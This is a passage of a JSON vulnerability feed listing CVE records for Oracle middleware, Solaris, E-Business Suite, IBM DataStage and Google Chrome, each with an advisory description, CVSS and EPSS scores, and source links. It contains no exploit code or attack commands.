While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 10.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:11.347Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87337","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00439,"percentile":0.37878,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87337&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87337","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87337","type":"primary","publishedAt":"2026-10-20T22:20:11.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87337&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87337, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87302","cveId":"CVE-2026-87302","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle WebLogic Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle WebLogic Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:07.320Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87302","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00416,"percentile":0.3562,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87302&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87302","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87302","type":"primary","publishedAt":"2026-10-20T22:20:07.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87302&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87302, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87251","cveId":"CVE-2026-87251","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).","summary":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SAML to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SAML to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:05.597Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87251","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00463,"percentile":0.39846,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87251","type":"primary","publishedAt":"2026-10-20T22:20:05.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83399","cveId":"CVE-2026-83399","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).","summary":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:56.430Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83399","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00496,"percentile":0.42288,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83399","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83399","type":"primary","publishedAt":"2026-10-20T22:19:56.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83397","cveId":"CVE-2026-83397","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).","summary":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:56.200Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83397","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.38826,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83397&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83397","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83397","type":"primary","publishedAt":"2026-10-20T22:19:56.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83397&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83397, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83396","cveId":"CVE-2026-83396","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).","summary":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:56.087Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83396","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.38825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83396&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83396","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83396","type":"primary","publishedAt":"2026-10-20T22:19:56.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83396&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83396, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81212","cveId":"CVE-2026-81212","aliases":[],"kind":"vulnerability","title":"IBM DataStage on Cloud Pak for Data 5.4.0.0 allows an unauthenticated user to perform an arbitrary write into shared Redis under any tenant's key.","summary":"IBM DataStage on Cloud Pak for Data 5.4.0.0 allows an unauthenticated user to perform an arbitrary write into shared Redis under any tenant's key. This collapses the platform's credential-encryption boundary and lets an anonymous caller poison any tenant's cached flow parameters.","detail":"IBM DataStage on Cloud Pak for Data 5.4.0.0 allows an unauthenticated user to perform an arbitrary write into shared Redis under any tenant's key. This collapses the platform's credential-encryption boundary and lets an anonymous caller poison any tenant's cached flow parameters.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:51.737Z","updatedAt":"2026-10-21T14:27:54.967Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Redis","IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-81212","asOf":"2026-10-21T14:27:54.967Z"},"epss":{"probability":0.00267,"percentile":0.18623,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81212&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-81212","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81212","type":"primary","publishedAt":"2026-10-20T22:19:51.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81212&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81212, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-60432","cveId":"CVE-2026-60432","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:31.283Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-60432","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.0045,"percentile":0.38827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-60432&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-60432","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60432","type":"primary","publishedAt":"2026-10-20T22:19:31.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-60432&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-60432, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113078","cveId":"CVE-2026-113078","aliases":[],"kind":"vulnerability","title":"Improper input validation in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...","summary":"Improper input validation in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:59.383Z","updatedAt":"2026-10-22T23:18:25.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113078","asOf":"2026-10-22T23:18:25.840Z"},"epss":{"probability":0.00412,"percentile":0.35185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113078&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113078","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113078","type":"primary","publishedAt":"2026-10-20T22:18:59.383Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113078&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113078, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101809","cveId":"CVE-2026-101809","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).","summary":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Workflow.  While the vulnerability is in Workflow, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).","detail":"Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Workflow.  While the vulnerability is in Workflow, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:36.890Z","updatedAt":"2026-10-24T04:18:15.517Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101809","asOf":"2026-10-24T04:18:15.517Z"},"epss":{"probability":0.00538,"percentile":0.45012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101809&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101809","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101809","type":"primary","publishedAt":"2026-10-20T22:18:36.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101809&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101809, scored 2026-10-25. This is a model estimate, not proof of 